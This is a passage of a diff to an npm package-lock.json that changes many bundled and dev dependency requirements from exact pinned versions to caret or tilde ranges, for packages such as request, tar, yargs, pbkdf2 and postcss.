"2.3.3", - "mississippi": "3.0.0", - "mkdirp": "0.5.1", - "normalize-package-data": "2.4.0", - "npm-package-arg": "6.1.0", - "npm-packlist": "1.1.11", - "npm-pick-manifest": "2.1.0", - "osenv": "0.1.5", - "promise-inflight": "1.0.1", - "promise-retry": "1.1.1", - "protoduck": "5.0.0", - "rimraf": "2.6.2", - "safe-buffer": "5.1.2", - "semver": "5.5.0", - "ssri": "6.0.0", - "tar": "4.4.6", - "unique-filename": "1.1.0", - "which": "1.3.1" + "bluebird": "^3.5.1", + "cacache": "^11.0.2", + "get-stream": "^3.0.0", + "glob": "^7.1.2", + "lru-cache": "^4.1.3", + "make-fetch-happen": "^4.0.1", + "minimatch": "^3.0.4", + "minipass": "^2.3.3", + "mississippi": "^3.0.0", + "mkdirp": "^0.5.1", + "normalize-package-data": "^2.4.0", + "npm-package-arg": "^6.1.0", + "npm-packlist": "^1.1.10", + "npm-pick-manifest": "^2.1.0", + "osenv": "^0.1.5", + "promise-inflight": "^1.0.1", + "promise-retry": "^1.1.1", + "protoduck": "^5.0.0", + "rimraf": "^2.6.2", + "safe-buffer": "^5.1.2", + "semver": "^5.5.0", + "ssri": "^6.0.0", + "tar": "^4.4.3", + "unique-filename": "^1.1.0", + "which": "^1.3.0" } }, "parallel-transform": { "version": "1.1.0", "bundled": true, "requires": { - "cyclist": "0.2.2", - "inherits": "2.0.3", - "readable-stream": "2.3.6" + "cyclist": "~0.2.2", + "inherits": "^2.0.3", + "readable-stream": "^2.1.5" } }, "path-exists": { @@ -11640,8 +11685,8 @@ "version": "1.1.1", "bundled": true, "requires": { - "err-code": "1.1.2", - "retry": "0.10.1" + "err-code": "^1.0.0", + "retry": "^0.10.0" }, "dependencies": { "retry": { @@ -11654,7 +11699,7 @@ "version": "0.3.0", "bundled": true, "requires": { - "read": "1.0.7" + "read": "1" } }, "proto-list": { @@ -11665,7 +11710,7 @@ "version": "5.0.0", "bundled": true, "requires": { - "genfun": "4.0.1" + "genfun": "^4.0.1" } }, "prr": { @@ -11684,25 +11729,25 @@ "version": "3.0.0", "bundled": true, "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" + "end-of-stream": "^1.1.0", + "once": "^1.3.1" } }, "pumpify": { "version": "1.5.1", "bundled": true, "requires": { - "duplexify": "3.6.0", - "inherits": "2.0.3", - "pump": "2.0.1" + "duplexify": "^3.6.0", + "inherits": "^2.0.3", + "pump": "^2.0.0" }, "dependencies": { "pump": { "version": "2.0.1", "bundled": true, "requires": { - "end-of-stream": "1.4.1", - "once": "1.4.0" + "end-of-stream": "^1.1.0", + "once": "^1.3.1" } } } @@ -11723,8 +11768,8 @@ "version": "6.1.0", "bundled": true, "requires": { - "decode-uri-component": "0.2.0", - "strict-uri-encode": "2.0.0" + "decode-uri-component": "^0.2.0", + "strict-uri-encode": "^2.0.0" } }, "qw": { @@ -11735,10 +11780,10 @@ "version": "1.2.7", "bundled": true, "requires": { - "deep-extend": "0.5.1", - "ini": "1.3.5", - "minimist": "1.2.0", - "strip-json-comments": "2.0.1" + "deep-extend": "^0.5.1", + "ini": "~1.3.0", + "minimist": "^1.2.0", + "strip-json-comments": "~2.0.1" }, "dependencies": { "minimist": { @@ -11751,113 +11796,113 @@ "version": "1.0.7", "bundled": true, "requires": { - "mute-stream": "0.0.7" + "mute-stream": "~0.0.4" } }, "read-cmd-shim": { "version": "1.0.1", "bundled": true, "requires": { - "graceful-fs": "4.1.11" + "graceful-fs": "^4.1.2" } }, "read-installed": { "version": "4.0.3", "bundled": true, "requires": { - "debuglog": "1.0.1", - "graceful-fs": "4.1.11", - "read-package-json": "2.0.13", - "readdir-scoped-modules": "1.0.2", - "semver": "5.5.0", - "slide": "1.1.6", - "util-extend": "1.0.3" + "debuglog": "^1.0.1", + "graceful-fs": "^4.1.2", + "read-package-json": "^2.0.0", + "readdir-scoped-modules": "^1.0.0", + "semver": "2 || 3 || 4 || 5", + "slide": "~1.1.3", + "util-extend": "^1.0.1" } }, "read-package-json": { "version": "2.0.13", "bundled": true, "requires": { - "glob": "7.1.2", - "graceful-fs": "4.1.11", - "json-parse-better-errors": "1.0.2", - "normalize-package-data": "2.4.0", - "slash": "1.0.0" + "glob": "^7.1.1", + "graceful-fs": "^4.1.2", + "json-parse-better-errors": "^1.0.1", + "normalize-package-data": "^2.0.0", + "slash": "^1.0.0" } }, "read-package-tree": { "version": "5.2.1", "bundled": true, "requires": { - "debuglog": "1.0.1", - "dezalgo": "1.0.3", - "once": "1.4.0", - "read-package-json": "2.0.13", - "readdir-scoped-modules": "1.0.2" + "debuglog": "^1.0.1", + "dezalgo": "^1.0.0", + "once": "^1.3.0", + "read-package-json": "^2.0.0", + "readdir-scoped-modules": "^1.0.0" } }, "readable-stream": { "version": "2.3.6", "bundled": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.2", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "readdir-scoped-modules": { "version": "1.0.2", "bundled": true, "requires": { - "debuglog": "1.0.1", - "dezalgo": "1.0.3", - "graceful-fs": "4.1.11", - "once": "1.4.0" + "debuglog": "^1.0.1", + "dezalgo": "^1.0.0", + "graceful-fs": "^4.1.2", + "once": "^1.3.0" } }, "registry-auth-token": { "version": "3.3.2", "bundled": true, "requires": { - "rc": "1.2.7", - "safe-buffer": "5.1.2" + "rc": "^1.1.6", + "safe-buffer": "^5.0.1" } }, "registry-url": { "version": "3.1.0", "bundled": true, "requires": { - "rc": "1.2.7" + "rc": "^1.0.1" } }, "request": { "version": "2.88.0", "bundled": true, "requires": { - "aws-sign2": "0.7.0", - "aws4": "1.8.0", - "caseless": "0.12.0", - "combined-stream": "1.0.6", - "extend": "3.0.2", - "forever-agent": "0.6.1", - "form-data": "2.3.2", - "har-validator": "5.1.0", - "http-signature": "1.2.0", - "is-typedarray": "1.0.0", - "isstream": "0.1.2", - "json-stringify-safe": "5.0.1", - "mime-types": "2.1.19", - "oauth-sign": "0.9.0", - "performance-now": "2.1.0", - "qs": "6.5.2", - "safe-buffer": "5.1.2", - "tough-cookie": "2.4.3", - "tunnel-agent": "0.6.0", - "uuid": "3.3.2" + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "har-validator": "~5.1.0", + "http-signature": "~1.2.0", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "oauth-sign": "~0.9.0", + "performance-now": "^2.1.0", + "qs": "~6.5.2", + "safe-buffer": "^5.1.2", + "tough-cookie": "~2.4.3", + "tunnel-agent": "^0.6.0", + "uuid": "^3.3.2" } }, "require-directory": { @@ -11880,14 +11925,14 @@ "version": "2.6.2", "bundled": true, "requires": { - "glob": "7.1.2" + "glob": "^7.0.5" } }, "run-queue": { "version": "1.0.3", "bundled": true, "requires": { - "aproba": "1.2.0" + "aproba": "^1.1.1" } }, "safe-buffer": { @@ -11906,7 +11951,7 @@ "version": "2.1.0", "bundled": true, "requires": { - "semver": "5.5.0" + "semver": "^5.0.3" } }, "set-blocking": { @@ -11917,15 +11962,15 @@ "version": "2.0.1", "bundled": true, "requires": { - "graceful-fs": "4.1.11", - "readable-stream": "2.3.6" + "graceful-fs": "^4.1.2", + "readable-stream": "^2.0.2" } }, "shebang-command": { "version": "1.2.0", "bundled": true, "requires": { - "shebang-regex": "1.0.0" + "shebang-regex": "^1.0.0" } }, "shebang-regex": { @@ -11952,16 +11997,16 @@ "version": "2.2.0", "bundled": true, "requires": { - "ip": "1.1.5", - "smart-buffer": "4.0.1" + "ip": "^1.1.5", + "smart-buffer": "^4.0.1" } }, "socks-proxy-agent": { "version": "4.0.1", "bundled": true, "requires": { - "agent-base": "4.2.0", - "socks": "2.2.0" + "agent-base": "~4.2.0", + "socks": "~2.2.0" } }, "sorted-object": { @@ -11972,16 +12017,16 @@ "version": "2.1.3", "bundled": true, "requires": { - "from2": "1.3.0", - "stream-iterate": "1.2.0" + "from2": "^1.3.0", + "stream-iterate": "^1.1.0" }, "dependencies": { "from2": { "version": "1.3.0", "bundled": true, "requires": { - "inherits": "2.0.3", - "readable-stream": "1.1.14" + "inherits": "~2.0.1", + "readable-stream": "~1.1.10" } }, "isarray": { @@ -11992,10 +12037,10 @@ "version": "1.1.14", "bundled": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", "isarray": "0.0.1", - "string_decoder": "0.10.31" + "string_decoder": "~0.10.x" } }, "string_decoder": { @@ -12008,8 +12053,8 @@ "version": "3.0.0", "bundled": true, "requires": { - "spdx-expression-parse": "3.0.0", - "spdx-license-ids": "3.0.0" + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" } }, "spdx-exceptions": { @@ -12020,8 +12065,8 @@ "version": "3.0.0", "bundled": true, "requires": { - "spdx-exceptions": "2.1.0", - "spdx-license-ids": "3.0.0" + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" } }, "spdx-license-ids": { @@ -12032,15 +12077,15 @@ "version": "1.14.2", "bundled": true, "requires": { - "asn1": "0.2.4", - "assert-plus": "1.0.0", - "bcrypt-pbkdf": "1.0.2", - "dashdash": "1.14.1", - "ecc-jsbn": "0.1.2", - "getpass": "0.1.7", - "jsbn": "0.1.1", - "safer-buffer": "2.1.2", - "tweetnacl": "0.14.5" + "asn1": "~0.2.3", + "assert-plus": "^1.0.0", + "bcrypt-pbkdf": "^1.0.0", + "dashdash": "^1.12.0", + "ecc-jsbn": "~0.1.1", + "getpass": "^0.1.1", + "jsbn": "~0.1.0", + "safer-buffer": "^2.0.2", + "tweetnacl": "~0.14.0" } }, "ssri": { @@ -12051,16 +12096,16 @@ "version": "1.2.2", "bundled": true, "requires": { - "end-of-stream": "1.4.1", - "stream-shift": "1.0.0" + "end-of-stream": "^1.1.0", + "stream-shift": "^1.0.0" } }, "stream-iterate": { "version": "1.2.0", "bundled": true, "requires": { - "readable-stream": "2.3.6", - "stream-shift": "1.0.0" + "readable-stream": "^2.1.5", + "stream-shift": "^1.0.0" } }, "stream-shift": { @@ -12075,8 +12120,8 @@ "version": "2.1.1", "bundled": true, "requires": { - "is-fullwidth-code-point": "2.0.0", - "strip-ansi": "4.0.0" + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" }, "dependencies": { "ansi-regex": { @@ -12091,7 +12136,7 @@ "version": "4.0.0", "bundled": true, "requires": { - "ansi-regex": "3.0.0" + "ansi-regex": "^3.0.0" } } } @@ -12100,7 +12145,7 @@ "version": "1.1.1", "bundled": true, "requires": { - "safe-buffer": "5.1.2" + "safe-buffer": "~5.1.0" } }, "stringify-package": { @@ -12111,7 +12156,7 @@ "version": "3.0.1", "bundled": true, "requires": { - "ansi-regex": "2.1.1" + "ansi-regex": "^2.0.0" } }, "strip-eof": { @@ -12126,20 +12171,20 @@ "version": "5.4.0", "bundled": true, "requires": { - "has-flag": "3.0.0" + "has-flag": "^3.0.0" } }, "tar": { "version": "4.4.6", "bundled": true, "requires": { - "chownr": "1.0.1", - "fs-minipass": "1.2.5", - "minipass": "2.3.3", - "minizlib": "1.1.0", - "mkdirp": "0.5.1", - "safe-buffer": "5.1.2", - "yallist": "3.0.2" + "chownr": "^1.0.1", + "fs-minipass": "^1.2.5", + "minipass": "^2.3.3", + "minizlib": "^1.1.0", + "mkdirp": "^0.5.0", + "safe-buffer": "^5.1.2", + "yallist": "^3.0.2" }, "dependencies": { "yallist": { @@ -12152,7 +12197,7 @@ "version": "1.2.0", "bundled": true, "requires": { - "execa": "0.7.0" + "execa": "^0.7.0" } }, "text-table": { @@ -12167,8 +12212,8 @@ "version": "2.0.3", "bundled": true, "requires": { - "readable-stream": "2.3.6", - "xtend": "4.0.1" + "readable-stream": "^2.1.5", + "xtend": "~4.0.1" } }, "timed-out": { @@ -12183,15 +12228,15 @@ "version": "2.4.3", "bundled": true, "requires": { - "psl": "1.1.29", - "punycode": "1.4.1" + "psl": "^1.1.24", + "punycode": "^1.4.1" } }, "tunnel-agent": { "version": "0.6.0", "bundled": true, "requires": { - "safe-buffer": "5.1.2" + "safe-buffer": "^5.0.1" } }, "tweetnacl": { @@ -12215,21 +12260,21 @@ "version": "1.1.0", "bundled": true, "requires": { - "unique-slug": "2.0.0" + "unique-slug": "^2.0.0" } }, "unique-slug": { "version": "2.0.0", "bundled": true, "requires": { - "imurmurhash": "0.1.4" + "imurmurhash": "^0.1.4" } }, "unique-string": { "version": "1.0.0", "bundled": true, "requires": { - "crypto-random-string": "1.0.0" + "crypto-random-string": "^1.0.0" } }, "unpipe": { @@ -12244,23 +12289,23 @@ "version": "2.5.0", "bundled": true, "requires": { - "boxen": "1.3.0", - "chalk": "2.4.1", - "configstore": "3.1.2", - "import-lazy": "2.1.0", - "is-ci": "1.1.0", - "is-installed-globally": "0.1.0", - "is-npm": "1.0.0", - "latest-version": "3.1.0", - "semver-diff": "2.1.0", - "xdg-basedir": "3.0.0" + "boxen": "^1.2.1", + "chalk": "^2.0.1", + "configstore": "^3.0.0", + "import-lazy": "^2.1.0", + "is-ci": "^1.0.10", + "is-installed-globally": "^0.1.0", + "is-npm": "^1.0.0", + "latest-version": "^3.0.0", + "semver-diff": "^2.0.0", + "xdg-basedir": "^3.0.0" } }, "url-parse-lax": { "version": "1.0.0", "bundled": true, "requires": { - "prepend-http": "1.0.4" + "prepend-http": "^1.0.1" } }, "util-deprecate": { @@ -12279,38 +12324,38 @@ "version": "3.0.4", "bundled": true, "requires": { - "spdx-correct": "3.0.0", - "spdx-expression-parse": "3.0.0" + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" } }, "validate-npm-package-name": { "version": "3.0.0", "bundled": true, "requires": { - "builtins": "1.0.3" + "builtins": "^1.0.3" } }, "verror": { "version": "1.10.0", "bundled": true, "requires": { - "assert-plus": "1.0.0", + "assert-plus": "^1.0.0", "core-util-is": "1.0.2", - "extsprintf": "1.3.0" + "extsprintf": "^1.2.0" } }, "wcwidth": { "version": "1.0.1", "bundled": true, "requires": { - "defaults": "1.0.3" + "defaults": "^1.0.3" } }, "which": { "version": "1.3.1", "bundled": true, "requires": { - "isexe": "2.0.0" + "isexe": "^2.0.0" } }, "which-module": { @@ -12321,16 +12366,16 @@ "version": "1.1.2", "bundled": true, "requires": { - "string-width": "1.0.2" + "string-width": "^1.0.2" }, "dependencies": { "string-width": { "version": "1.0.2", "bundled": true, "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" } } } @@ -12339,31 +12384,31 @@ "version": "2.0.0", "bundled": true, "requires": { - "string-width": "2.1.1" + "string-width": "^2.1.1" } }, "worker-farm": { "version": "1.6.0", "bundled": true, "requires": { - "errno": "0.1.7" + "errno": "~0.1.7" } }, "wrap-ansi": { "version": "2.1.0", "bundled": true, "requires": { - "string-width": "1.0.2", - "strip-ansi": "3.0.1" + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1" }, "dependencies": { "string-width": { "version": "1.0.2", "bundled": true, "requires": { - "code-point-at": "1.1.0", - "is-fullwidth-code-point": "1.0.0", - "strip-ansi": "3.0.1" + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" } } } @@ -12376,9 +12421,9 @@ "version": "2.3.0", "bundled": true, "requires": { - "graceful-fs": "4.1.11", - "imurmurhash": "0.1.4", - "signal-exit": "3.0.2" + "graceful-fs": "^4.1.11", + "imurmurhash": "^0.1.4", + "signal-exit": "^3.0.2" } }, "xdg-basedir": { @@ -12401,18 +12446,18 @@ "version": "11.0.0", "bundled": true, "requires": { - "cliui": "4.1.0", - "decamelize": "1.2.0", - "find-up": "2.1.0", - "get-caller-file": "1.0.2", - "os-locale": "2.1.0", - "require-directory": "2.1.1", - "require-main-filename": "1.0.1", - "set-blocking": "2.0.0", - "string-width": "2.1.1", - "which-module": "2.0.0", - "y18n": "3.2.1", - "yargs-parser": "9.0.2" + "cliui": "^4.0.0", + "decamelize": "^1.1.1", + "find-up": "^2.1.0", + "get-caller-file": "^1.0.1", + "os-locale": "^2.0.0", + "require-directory": "^2.1.1", + "require-main-filename": "^1.0.1", + "set-blocking": "^2.0.0", + "string-width": "^2.0.0", + "which-module": "^2.0.0", + "y18n": "^3.2.1", + "yargs-parser": "^9.0.2" }, "dependencies": { "y18n": { @@ -12425,7 +12470,7 @@ "version": "9.0.2", "bundled": true, "requires": { - "camelcase": "4.1.0" + "camelcase": "^4.1.0" } } } @@ -12436,7 +12481,7 @@ "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=", "dev": true, "requires": { - "path-key": "2.0.1" + "path-key": "^2.0.0" } }, "nth-check": { @@ -12445,7 +12490,7 @@ "integrity": "sha1-mSms32KPwsQQmN6rgqxYDPFJquQ=", "dev": true, "requires": { - "boolbase": "1.0.0" + "boolbase": "~1.0.0" } }, "null-loader": { @@ -12483,9 +12528,9 @@ "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=", "dev": true, "requires": { - "copy-descriptor": "0.1.1", - "define-property": "0.2.5", - "kind-of": "3.2.2" + "copy-descriptor": "^0.1.0", + "define-property": "^0.2.5", + "kind-of": "^3.0.3" }, "dependencies": { "define-property": { @@ -12494,7 +12539,7 @@ "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", "dev": true, "requires": { - "is-descriptor": "0.1.6" + "is-descriptor": "^0.1.0" } } } @@ -12517,7 +12562,7 @@ "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=", "dev": true, "requires": { - "isobject": "3.0.1" + "isobject": "^3.0.0" }, "dependencies": { "isobject": { @@ -12534,10 +12579,10 @@ "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", "dev": true, "requires": { - "define-properties": "1.1.3", - "function-bind": "1.1.1", - "has-symbols": "1.0.0", - "object-keys": "1.0.12" + "define-properties": "^1.1.2", + "function-bind": "^1.1.1", + "has-symbols": "^1.0.0", + "object-keys": "^1.0.11" } }, "object.getownpropertydescriptors": { @@ -12546,8 +12591,8 @@ "integrity": "sha1-h1jIRvW0B62rDyNuCYbxSwUcqhY=", "dev": true, "requires": { - "define-properties": "1.1.3", - "es-abstract": "1.12.0" + "define-properties": "^1.1.2", + "es-abstract": "^1.5.1" } }, "object.omit": { @@ -12557,8 +12602,8 @@ "dev": true, "optional": true, "requires": { - "for-own": "0.1.5", - "is-extendable": "0.1.1" + "for-own": "^0.1.4", + "is-extendable": "^0.1.1" } }, "object.pick": { @@ -12567,7 +12612,7 @@ "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=", "dev": true, "requires": { - "isobject": "3.0.1" + "isobject": "^3.0.1" }, "dependencies": { "isobject": { @@ -12605,7 +12650,7 @@ "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", "dev": true, "requires": { - "wrappy": "1.0.2" + "wrappy": "1" } }, "onetime": { @@ -12614,7 +12659,7 @@ "integrity": "sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=", "dev": true, "requires": { - "mimic-fn": "1.2.0" + "mimic-fn": "^1.0.0" } }, "open": { @@ -12629,7 +12674,7 @@ "integrity": "sha512-YF9MNdVy/0qvJvDtunAOzFw9iasOQHpVthTCvGzxt61Il64AYSGdK+rYwld7NAfk9qJ7dt+hymBNSc9LNYS+Sw==", "dev": true, "requires": { - "is-wsl": "1.1.0" + "is-wsl": "^1.1.0" } }, "optimist": { @@ -12638,8 +12683,8 @@ "integrity": "sha1-2j6nRob6IaGaERwybpDrFaAZZoY=", "dev": true, "requires": { - "minimist": "0.0.10", - "wordwrap": "0.0.3" + "minimist": "~0.0.1", + "wordwrap": "~0.0.2" }, "dependencies": { "minimist": { @@ -12662,12 +12707,12 @@ "integrity": "sha1-NkxeQJ0/TWMB1sC0wFu6UBgK62Q=", "dev": true, "requires": { - "deep-is": "0.1.3", - "fast-levenshtein": "2.0.6", - "levn": "0.3.0", - "prelude-ls": "1.1.2", - "type-check": "0.3.2", - "wordwrap": "1.0.0" + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.4", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "wordwrap": "~1.0.0" } }, "original": { @@ -12676,7 +12721,7 @@ "integrity": "sha512-hyBVl6iqqUOJ8FqRe+l/gS8H+kKYjrEndd5Pm1MfBtsEKA038HkkdbAl/72EAXGyonD/PFsvmVG+EvcIpliMBg==", "dev": true, "requires": { - "url-parse": "1.4.3" + "url-parse": "^1.4.3" } }, "os-browserify": { @@ -12697,9 +12742,9 @@ "integrity": "sha512-3sslG3zJbEYcaC4YVAvDorjGxc7tv6KVATnLPZONiljsUncvihe9BQoVCEs0RZ1kmf4Hk9OBqlZfJZWI4GanKA==", "dev": true, "requires": { - "execa": "0.7.0", - "lcid": "1.0.0", - "mem": "1.1.0" + "execa": "^0.7.0", + "lcid": "^1.0.0", + "mem": "^1.1.0" } }, "os-tmpdir": { @@ -12714,9 +12759,9 @@ "integrity": "sha1-0KM+7+YaIF+suQCS6CZZjVJFznY=", "dev": true, "requires": { - "graceful-fs": "4.1.11", - "mkdirp": "0.5.1", - "object-assign": "4.1.1" + "graceful-fs": "^4.1.4", + "mkdirp": "^0.5.1", + "object-assign": "^4.1.0" } }, "p-defer": { @@ -12743,7 +12788,7 @@ "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", "dev": true, "requires": { - "p-try": "1.0.0" + "p-try": "^1.0.0" } }, "p-locate": { @@ -12752,7 +12797,7 @@ "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", "dev": true, "requires": { - "p-limit": "1.3.0" + "p-limit": "^1.1.0" } }, "p-map": { @@ -12779,9 +12824,9 @@ "integrity": "sha1-1BDwZbBdojCB/NEPKIVMKb2jOwY=", "dev": true, "requires": { - "cyclist": "0.2.2", - "inherits": "2.0.3", - "readable-stream": "2.3.6" + "cyclist": "~0.2.2", + "inherits": "^2.0.3", + "readable-stream": "^2.1.5" }, "dependencies": { "isarray": { @@ -12802,13 +12847,13 @@ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==", "dev": true, "requires": { - "core-util-is": "1.0.2", - "inherits": "2.0.3", - "isarray": "1.0.0", - "process-nextick-args": "2.0.0", - "safe-buffer": "5.1.1", - "string_decoder": "1.1.1", - "util-deprecate": "1.0.2" + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" } }, "string_decoder": { @@ -12817,7 +12862,7 @@ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", "dev": true, "requires": { - "safe-buffer": "5.1.1" + "safe-buffer": "~5.1.0" } } } @@ -12828,7 +12873,7 @@ "integrity": "sha1-35T9jPZTHs915r75oIWPvHK+Ikc=", "dev": true, "requires": { - "no-case": "2.3.2" + "no-case": "^2.2.0" } }, "parse-asn1": { @@ -12837,11 +12882,11 @@ "integrity": "sha512-KPx7flKXg775zZpnp9SxJlz00gTd4BmJ2yJufSc44gMCRrRQ7NSzAcSJQfifuOLgW6bEi+ftrALtsgALeB2Adw==", "dev": true, "requires": { - "asn1.js": "4.10.1", - "browserify-aes": "1.2.0", - "create-hash": "1.2.0", - "evp_bytestokey": "1.0.3", - "pbkdf2": "3.0.17" + "asn1.js": "^4.0.0", + "browserify-aes": "^1.0.0", + "create-hash": "^1.1.0", + "evp_bytestokey": "^1.0.0", + "pbkdf2": "^3.0.3" } }, "parse-glob": { @@ -12851,10 +12896,10 @@ "dev": true, "optional": true, "requires": { - "glob-base": "0.3.0", - "is-dotfile": "1.0.3", - "is-extglob": "1.0.0", - "is-glob": "2.0.1" + "glob-base": "^0.3.0", + "is-dotfile": "^1.0.0", + "is-extglob": "^1.0.0", + "is-glob": "^2.0.0" } }, "parse-json": { @@ -12863,7 +12908,7 @@ "integrity": "sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=", "dev": true, "requires": { - "error-ex": "1.3.2" + "error-ex": "^1.2.0" } }, "parseqs": { @@ -12872,7 +12917,7 @@ "integrity": "sha1-1SCKNzjkZ2bikbouoXNoSSGouJ0=", "dev": true, "requires": { - "better-assert": "1.0.2" + "better-assert": "~1.0.0" } }, "parseuri": { @@ -12881,7 +12926,7 @@ "integrity": "sha1-gCBKUNTbt3m/3G6+J3jZDkvOMgo=", "dev": true, "requires": { - "better-assert": "1.0.2" + "better-assert": "~1.0.0" } }, "parseurl": { @@ -12914,7 +12959,7 @@ "integrity": "sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=", "dev": true, "requires": { - "pinkie-promise": "2.0.1" + "pinkie-promise": "^2.0.0" } }, "path-is-absolute": { @@ -12947,9 +12992,9 @@ "integrity": "sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=", "dev": true, "requires": { - "graceful-fs": "4.1.11", - "pify": "2.3.0", - "pinkie-promise": "2.0.1" + "graceful-fs": "^4.1.2", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" } }, "pathval": { @@ -12964,11 +13009,11 @@ "integrity": "sha512-U/il5MsrZp7mGg3mSQfn742na2T+1/vHDCG5/iTI3X9MKUuYUZVLQhyRsg06mCgDBTd57TxzgZt7P+fYfjRLtA==", "dev": true, "requires": { - "create-hash": "1.2.0", - "create-hmac": "1.1.7", - "ripemd160": "2.0.2", - "safe-buffer": "5.1.1", - "sha.js": "2.4.11" + "create-hash": "^1.1.2", + "create-hmac": "^1.1.4", + "ripemd160": "^2.0.1", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" } }, "pend": { @@ -12989,15 +13034,15 @@ "integrity": "sha1-79ISpKOWbTZHaE6ouniFSb4q7+8=", "dev": true, "requires": { - "es6-promise": "4.2.4", - "extract-zip": "1.6.6", - "fs-extra": "1.0.0", - "hasha": "2.2.0", - "kew": "0.7.0", - "progress": "1.1.8", - "request": "2.85.0", - "request-progress": "2.0.1", - "which": "1.3.0" + "es6-promise": "^4.0.3", + "extract-zip": "^1.6.5", + "fs-extra": "^1.0.0", + "hasha": "^2.2.0", + "kew": "^0.7.0", + "progress": "^1.1.8", + "request": "^2.81.0", + "request-progress": "^2.0.1", + "which": "^1.2.10" } }, "pify": { @@ -13018,7 +13063,7 @@ "integrity": "sha1-ITXW36ejWMBprJsXh3YogihFD/o=", "dev": true, "requires": { - "pinkie": "2.0.4" + "pinkie": "^2.0.0" } }, "pkg-dir": { @@ -13027,7 +13072,7 @@ "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=", "dev": true, "requires": { - "find-up": "2.1.0" + "find-up": "^2.1.0" }, "dependencies": { "find-up": { @@ -13036,7 +13081,7 @@ "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", "dev": true, "requires": { - "locate-path": "2.0.0" + "locate-path": "^2.0.0" } } } @@ -13053,9 +13098,9 @@ "integrity": "sha512-syFcRIRzVI1BoEFOCaAiizwDolh1S1YXSodsVhncbhjzjZQulhczNRbqnUl9N31Q4dKGOXsNDqxC2BWBgSMqeQ==", "dev": true, "requires": { - "async": "1.5.2", - "debug": "2.6.8", - "mkdirp": "0.5.1" + "async": "^1.5.2", + "debug": "^2.2.0", + "mkdirp": "0.5.x" } }, "posix-character-classes": { @@ -13070,9 +13115,9 @@ "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", "dev": true, "requires": { - "chalk": "2.4.1", - "source-map": "0.6.1", - "supports-color": "5.4.0" + "chalk": "^2.4.1", + "source-map": "^0.6.1", + "supports-color": "^5.4.0" }, "dependencies": { "ansi-styles": { @@ -13081,7 +13126,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "1.9.0" + "color-convert": "^1.9.0" } }, "chalk": { @@ -13090,9 +13135,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "3.2.1", - "escape-string-regexp": "1.0.5", - "supports-color": "5.4.0" + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" } 